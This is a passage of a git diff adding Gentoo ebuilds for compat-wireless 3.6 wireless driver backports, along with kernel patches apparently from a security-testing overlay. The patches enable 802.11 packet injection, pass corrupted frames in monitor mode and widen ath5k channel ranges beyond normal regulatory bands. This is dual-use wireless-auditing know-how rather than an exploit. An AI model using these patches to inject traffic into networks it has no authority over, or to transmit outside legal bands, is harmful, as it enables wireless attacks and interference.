load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.6_rc5.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6_rc5.ebuild new file mode 100644 index 00000000..14cce0f1 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.6_rc5.ebuild @@ -0,0 +1,172 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-c" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="" +#KEYWORDS="~amd64 ~arm ~x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + >=sys-kernel/linux-firmware-20110219 + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + CONFIG_CHECK="~NET_SCHED" + CONFIG_CHECK="~IPW2200_PROMISCUOUS" + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + use pax_kernel && epatch "${FILESDIR}"/${PN}-3.5-grsec.patch + use pax_kernel && epatch "${FILESDIR}"/${PN}-3.5-grsec2.patch + use pax_kernel && epatch "${FILESDIR}"/${PN}-3.6-grsec.patch + + #mcgrof said prep for inclusion in compat-wireless.git but this causes issues + #find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/' + #sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + + #enable alx atheros ethernet driver + sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver" + + #avoid annoying ACCESS DENIED sandbox errors + sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed" + sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed" + sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.6_rc7.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6_rc7.ebuild new file mode 100644 index 00000000..238436dc --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.6_rc7.ebuild @@ -0,0 +1,179 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-snpc" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="+alx ath9k_htc atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel" + +DEPEND="!net-wireless/compat-wireless-builder" +RDEPEND="${DEPEND} + >=sys-kernel/linux-firmware-20110219 + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + CONFIG_CHECK="~NET_SCHED" + CONFIG_CHECK="~IPW2200_PROMISCUOUS" + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_prepare() { + use pax_kernel && epatch "${FILESDIR}"/${PN}-3.6-zc-grsec.patch + + #mcgrof said prep for inclusion in compat-wireless.git but this causes issues + #find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/' + #sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + + #enable alx atheros ethernet driver + if use alx; then + sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver" + else + sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver" + fi + + if use ath9k_htc; then + sed -i 's/ATH9K_HTC=n/ATH9K_HTC=m/' "${S}"/config.mk || die "Failed to enable Atheros 9k htc driver" + else + sed -i 's/ATH9K_HTC=m/ATH9K_HTC=n/' "${S}"/config.mk || die "Failed to disable Atheros 9k htc driver" + fi + + #avoid annoying ACCESS DENIED sandbox errors + sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed" + sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed" + sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/files/0001-ath5k-retain-promiscuous-setting.patch b/net-wireless/compat-wireless/files/0001-ath5k-retain-promiscuous-setting.patch new file mode 100644 index 00000000..62d496a7 --- /dev/null +++ b/net-wireless/compat-wireless/files/0001-ath5k-retain-promiscuous-setting.patch @@ -0,0 +1,48 @@ +From befe47a84a22312e0547d04cd3d250b0e49ecf54 Mon Sep 17 00:00:00 2001 +From: Bob Copeland +Date: Thu, 27 May 2010 08:54:38 -0400 +Subject: [PATCH] ath5k: retain promiscuous setting + +Commit 56d1de0a21db28e41741cfa0a66e18bc8d920554, "ath5k: clean up +filter flags setting" introduced a regression in monitor mode such +that the promisc filter flag would get lost. + +Although we set the promisc flag when it changed, we did not +preserve it across subsequent calls to configure_filter. This patch +restores the original functionality. + +Cc: stable@kernel.org +Signed-off-by: Bob Copeland +--- + +Note, a better fix would be to just unconditionally look at new_flags, +but this is the minimal change for stable. I'll add fixing all this +stuff up to my todo. + + drivers/net/wireless/ath/ath5k/base.c | 4 +++- + 1 files changed, 3 insertions(+), 1 deletions(-) + +diff --git a/drivers/net/wireless/ath/ath5k/base.c b/drivers/net/wireless/ath/ath5k/base.c +index 9c27623..9e023b8 100644 +--- a/drivers/net/wireless/ath/ath5k/base.c ++++ b/drivers/net/wireless/ath/ath5k/base.c +@@ -3153,13 +3153,15 @@ static void ath5k_configure_filter(struct ieee80211_hw *hw, + + if (changed_flags & (FIF_PROMISC_IN_BSS | FIF_OTHER_BSS)) { + if (*new_flags & FIF_PROMISC_IN_BSS) { +- rfilt |= AR5K_RX_FILTER_PROM; + __set_bit(ATH_STAT_PROMISC, sc->status); + } else { + __clear_bit(ATH_STAT_PROMISC, sc->status); + } + } + ++ if (test_bit(ATH_STAT_PROMISC, sc->status)) ++ rfilt |= AR5K_RX_FILTER_PROM; ++ + /* Note, AR5K_RX_FILTER_MCAST is already enabled */ + if (*new_flags & FIF_ALLMULTI) { + mfilt[0] = ~0; +-- +1.6.3.3 + diff --git a/net-wireless/compat-wireless/files/4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch b/net-wireless/compat-wireless/files/4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch new file mode 100644 index 00000000..58bf3323 --- /dev/null +++ b/net-wireless/compat-wireless/files/4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch @@ -0,0 +1,27 @@ +diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c +index 0855cac..221bed6 100644 +--- a/net/mac80211/tx.c ++++ b/net/mac80211/tx.c +@@ -611,11 +611,19 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) + + /* + * Packet injection may want to control the sequence +- * number, if we have no matching interface then we +- * neither assign one ourselves nor ask the driver to. ++ * number, so if an injected packet is found, skip ++ * renumbering it. Also make the packet NO_ACK to avoid ++ * excessive retries (ACKing and retrying should be ++ * handled by the injecting application). ++ * FIXME This may break hostapd and some other injectors. ++ * This should be done using a radiotap flag. + */ +- if (unlikely(!info->control.vif)) ++ if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && ++ !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) { ++ if (!ieee80211_has_morefrags(hdr->frame_control)) ++ info->flags |= IEEE80211_TX_CTL_NO_ACK; + return TX_CONTINUE; ++ } + + if (unlikely(ieee80211_is_ctl(hdr->frame_control))) + return TX_CONTINUE; diff --git a/net-wireless/compat-wireless/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch b/net-wireless/compat-wireless/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch new file mode 100644 index 00000000..a2b080f5 --- /dev/null +++ b/net-wireless/compat-wireless/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch @@ -0,0 +1,17 @@ + tx.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c +index b47435d..751934b 100644 +--- a/net/mac80211/tx.c ++++ b/net/mac80211/tx.c +@@ -539,7 +539,8 @@ ieee80211_tx_h_rate_ctrl(struct ieee80211_tx_data *tx) + if (tx->sta) + tx->sta->last_tx_rate = txrc.reported_rate; + +- if (unlikely(!info->control.rates[0].count)) ++ if (unlikely(!info->control.rates[0].count) || ++ info->flags & IEEE80211_TX_CTL_NO_ACK) + info->control.rates[0].count = 1; + + if (is_multicast_ether_addr(hdr->addr1)) { diff --git a/net-wireless/compat-wireless/files/4004_zd1211rw-2.6.28.patch b/net-wireless/compat-wireless/files/4004_zd1211rw-2.6.28.patch new file mode 100644 index 00000000..c0697dee --- /dev/null +++ b/net-wireless/compat-wireless/files/4004_zd1211rw-2.6.28.patch @@ -0,0 +1,37 @@ +diff -Naur linux-2.6.28-pentoo-r1-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.28-pentoo-r1-improved/drivers/net/wireless/zd1211rw/zd_mac.c +--- linux-2.6.28-pentoo-r1-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2009-01-18 17:49:00.000000000 -0500 ++++ linux-2.6.28-pentoo-r1-improved/drivers/net/wireless/zd1211rw/zd_mac.c 2009-01-18 18:46:44.000000000 -0500 +@@ -191,14 +191,19 @@ + static int set_rx_filter(struct zd_mac *mac) + { + unsigned long flags; +- u32 filter = STA_RX_FILTER; ++ struct zd_ioreq32 ioreqs[] = { ++ {CR_RX_FILTER, STA_RX_FILTER}, ++ { CR_SNIFFER_ON, 0U }, ++ }; + + spin_lock_irqsave(&mac->lock, flags); +- if (mac->pass_ctrl) +- filter |= RX_FILTER_CTRL; ++ if (mac->pass_ctrl) { ++ ioreqs[0].value |= 0xFFFFFFFF; ++ ioreqs[1].value = 0x1; ++ } + spin_unlock_irqrestore(&mac->lock, flags); + +- return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); ++ return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); + } + + static int set_mc_hash(struct zd_mac *mac) +@@ -657,7 +662,8 @@ + /* Caller has to ensure that length >= sizeof(struct rx_status). */ + status = (struct rx_status *) + (buffer + (length - sizeof(struct rx_status))); +- if (status->frame_status & ZD_RX_ERROR) { ++ if ((status->frame_status & ZD_RX_ERROR) || ++ (status->frame_status & ~0x21)) { + if (mac->pass_failed_fcs && + (status->frame_status & ZD_RX_CRC32_ERROR)) { + stats.flag |= RX_FLAG_FAILED_FCS_CRC; diff --git a/net-wireless/compat-wireless/files/4005_ath5k-frequency-expansion-2.6.30.patch b/net-wireless/compat-wireless/files/4005_ath5k-frequency-expansion-2.6.30.patch new file mode 100644 index 00000000..775fe656 --- /dev/null +++ b/net-wireless/compat-wireless/files/4005_ath5k-frequency-expansion-2.6.30.patch @@ -0,0 +1,132 @@ +diff -ru ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/base.c ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/base.c +--- ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/base.c 2009-06-10 16:58:40.000000000 -0700 ++++ ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/base.c 2009-06-11 17:18:19.000000000 -0700 +@@ -276,7 +276,7 @@ + static void ath5k_detach(struct pci_dev *pdev, + struct ieee80211_hw *hw); + /* Channel/mode setup */ +-static inline short ath5k_ieee2mhz(short chan); ++static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq); + static unsigned int ath5k_copy_channels(struct ath5k_hw *ah, + struct ieee80211_channel *channels, + unsigned int mode, +@@ -875,12 +875,15 @@ + * Convert IEEE channel number to MHz frequency. + */ + static inline short +-ath5k_ieee2mhz(short chan) ++ath5k_ieee2mhz(int chan, unsigned int chfreq) + { +- if (chan <= 14 || chan >= 27) +- return ieee80211chan2mhz(chan); ++ if (chan == CHANNEL_5GHZ) ++ return (chan + 1000) * 5; + else +- return 2212 + chan * 20; ++ if (chan <= 14 || chan >= 27) ++ return ieee80211chan2mhz(chan); ++ else ++ return 2212 + chan * 20; + } + + /* +@@ -903,7 +906,8 @@ + unsigned int mode, + unsigned int max) + { +- unsigned int i, count, size, chfreq, freq, ch; ++ unsigned int i, count, size, chfreq, freq; ++ int ch; + + if (!test_bit(mode, ah->ah_modes)) + return 0; +@@ -912,13 +916,15 @@ + case AR5K_MODE_11A: + case AR5K_MODE_11A_TURBO: + /* 1..220, but 2GHz frequencies are filtered by check_channel */ +- size = 220 ; ++ size = 241 ; ++ ch = -40; + chfreq = CHANNEL_5GHZ; + break; + case AR5K_MODE_11B: + case AR5K_MODE_11G: + case AR5K_MODE_11G_TURBO: +- size = 26; ++ size = 70; ++ ch = -43; + chfreq = CHANNEL_2GHZ; + break; + default: +@@ -926,9 +932,8 @@ + return 0; + } + +- for (i = 0, count = 0; i < size && max > 0; i++) { +- ch = i + 1 ; +- freq = ath5k_ieee2mhz(ch); ++ for (i = 0, count = 0; i < size && max > 0; i++,ch++) { ++ freq = ath5k_ieee2mhz(ch,chfreq); + + /* Check if channel is supported by the chipset */ + if (!ath5k_channel_ok(ah, freq, chfreq)) +@@ -1244,7 +1249,9 @@ + + rate = ieee80211_get_tx_rate(sc->hw, info); + +- if (info->flags & IEEE80211_TX_CTL_NO_ACK) ++ if (info->flags & IEEE80211_TX_CTL_NO_ACK || ++ (info->flags & IEEE80211_TX_CTL_INJECTED && ++ !(ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control)))) + flags |= AR5K_TXDESC_NOACK; + + rc_flags = info->control.rates[0].flags; +diff -ru ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/base.h ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/base.h +--- ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/base.h 2009-06-10 16:58:50.000000000 -0700 ++++ ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/base.h 2009-06-11 17:21:55.000000000 -0700 +@@ -107,9 +107,9 @@ + }; + + #if CHAN_DEBUG +-#define ATH_CHAN_MAX (26+26+26+200+200) ++#define ATH_CHAN_MAX (70+70+70+240+240) + #else +-#define ATH_CHAN_MAX (14+14+14+252+20) ++#define ATH_CHAN_MAX (70+70+70+240+240) + #endif + + /* Software Carrier, keeps track of the driver state +diff -ru ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/caps.c ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/caps.c +--- ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/caps.c 2009-06-10 16:58:40.000000000 -0700 ++++ ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/caps.c 2009-06-11 17:24:22.000000000 -0700 +@@ -69,8 +69,8 @@ + + if (AR5K_EEPROM_HDR_11A(ee_header)) { + /* 4920 */ +- ah->ah_capabilities.cap_range.range_5ghz_min = 5005; +- ah->ah_capabilities.cap_range.range_5ghz_max = 6100; ++ ah->ah_capabilities.cap_range.range_5ghz_min = 4800; ++ ah->ah_capabilities.cap_range.range_5ghz_max = 6000; + + /* Set supported modes */ + __set_bit(AR5K_MODE_11A, +@@ -88,7 +88,7 @@ + (AR5K_EEPROM_HDR_11G(ee_header) && + ah->ah_version != AR5K_AR5211)) { + /* 2312 */ +- ah->ah_capabilities.cap_range.range_2ghz_min = 2412; ++ ah->ah_capabilities.cap_range.range_2ghz_min = 2192; + ah->ah_capabilities.cap_range.range_2ghz_max = 2732; + + if (AR5K_EEPROM_HDR_11B(ee_header)) +diff -ru ./compat-wireless-2009-06-11clean/net/mac80211/tx.c ./compat-wireless-2009-06-11/net/mac80211/tx.c +--- ./compat-wireless-2009-06-11clean/net/mac80211/tx.c 2009-06-10 16:58:40.000000000 -0700 ++++ ./compat-wireless-2009-06-11/net/mac80211/tx.c 2009-06-11 18:18:20.000000000 -0700 +@@ -1387,6 +1387,7 @@ + { + struct ieee80211_master_priv *mpriv = netdev_priv(dev); + struct ieee80211_local *local = mpriv->local; ++ struct ieee80211_channel *chan = local->hw.conf.channel; + struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb); + struct ieee80211_hdr *hdr = (struct ieee80211_hdr *) skb->data; + struct net_device *odev = NULL; diff --git a/net-wireless/compat-wireless/files/4007_ath5k-pass-failed-crc.patch b/net-wireless/compat-wireless/files/4007_ath5k-pass-failed-crc.patch new file mode 100644 index 00000000..33075a35 --- /dev/null +++ b/net-wireless/compat-wireless/files/4007_ath5k-pass-failed-crc.patch @@ -0,0 +1,15 @@ +diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c +--- linux-2.6.28/drivers/net/wireless/ath5k/base.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c 2009-02-06 21:38:43.000000000 -0500 +@@ -1732,6 +1738,11 @@ + goto accept; + } + ++ /* Allow CRC errors through */ ++ if (rs.rs_status & AR5K_RXERR_CRC) { ++ goto accept; ++ } ++ + /* let crypto-error packets fall through in MNTR */ + if ((rs.rs_status & + ~(AR5K_RXERR_DECRYPT|AR5K_RXERR_MIC)) || diff --git a/net-wireless/compat-wireless/files/4012_openwrt-b43-disable_qos_when_openfw.patch b/net-wireless/compat-wireless/files/4012_openwrt-b43-disable_qos_when_openfw.patch new file mode 100644 index 00000000..219e5c58 --- /dev/null +++ b/net-wireless/compat-wireless/files/4012_openwrt-b43-disable_qos_when_openfw.patch @@ -0,0 +1,12 @@ +diff -Naur linux-2.6.28-pentoo-r4/drivers/net/wireless/b43/main.c linux-2.6.28-pentoo-r4-patched/drivers/net/wireless/b43/main.c +--- linux-2.6.28-pentoo-r4/drivers/net/wireless/b43/main.c 2008-12-24 18:26:37.000000000 -0500 ++++ linux-2.6.28-pentoo-r4-patched/drivers/net/wireless/b43/main.c 2009-04-08 00:03:57.000000000 -0400 +@@ -2299,6 +2299,8 @@ + b43info(dev->wl, "Loading OpenSource firmware version %u.%u%s\n", + dev->fw.rev, dev->fw.patch, + dev->fw.pcm_request_failed ? " (Hardware crypto not supported)" : ""); ++ /* The OpenSource firmware does not support qos for now. */ ++ b43_modparam_qos = 0; + } else { + b43info(dev->wl, "Loading firmware version %u.%u " + "(20%.2i-%.2i-%.2i %.2i:%.2i:%.2i)\n", diff --git a/net-wireless/compat-wireless/files/4013-runtime-enable-disable-of-mac80211-packet-injection.patch b/net-wireless/compat-wireless/files/4013-runtime-enable-disable-of-mac80211-packet-injection.patch new file mode 100644 index 00000000..82d9a4c2 --- /dev/null +++ b/net-wireless/compat-wireless/files/4013-runtime-enable-disable-of-mac80211-packet-injection.patch @@ -0,0 +1,37 @@ +--- net/mac80211/tx.c 2009-11-29 14:59:53.474095955 +0100 ++++ net/mac80211/tx.c 2009-11-29 